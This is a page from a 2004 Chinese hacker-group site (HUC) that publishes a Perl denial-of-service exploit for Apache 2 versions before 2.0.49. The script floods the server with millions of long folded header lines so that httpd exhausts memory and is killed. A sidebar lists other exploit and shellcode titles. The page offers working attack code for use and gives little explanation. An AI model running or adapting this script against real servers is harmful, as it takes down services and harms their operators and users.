快速通道

文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

apache ap_get_mime_headers_core dos exploit

提交作品： bkbll
提交日期： 2004-07-02
作品属性： 普通
文档类别： 代码作品
浏览次数： 今3次/总1581次

```
#/usr/bin/perl
#
#exploit for apache ap_get_mime_headers_core() vuln
#
#adv is here: http://www.guninski.com/httpd1.html
#
#version: apache 2 <2.0.49 apache 1 not tested.
#
#by bkbll bkbll#cnhonker.net http://www.cnhonker.com
#
#tail -f /var/log/messages
#Jul  1 17:43:16 www kernel: Out of Memory: Killed process 658 (httpd)
#

use IO::Socket::INET;

$host="10.10.10.114";
$port=80;
$sock = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,
Proto    => 'tcp') || die "new error$@\n";
binmode($sock);
$hostname="Host: $host";
$buf2='A'x50;
$buf4='A'x8183;
$len=length($buf2);
$buf="GET / HTTP/1.1\r\n";
send($sock,$buf,0) || die "send error:$@\n";
for($i= 0; $i < 2000000; $i++)
{
   $buf=" $buf4\r\n";
   send($sock,$buf,0) || die "send error:$@, target maybe have been
D.o.S?\n";
}
$buf="$hostname\r\n";
$buf.="Content-Length: $len\r\n";

$buf.="\r\n";
$buf.=$buf2."\r\n\r\n";
```

```
send($sock,$buf,0) || die "send error:$@\n";
print "Ok, our buffer have send to target \n";
close($sock);
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net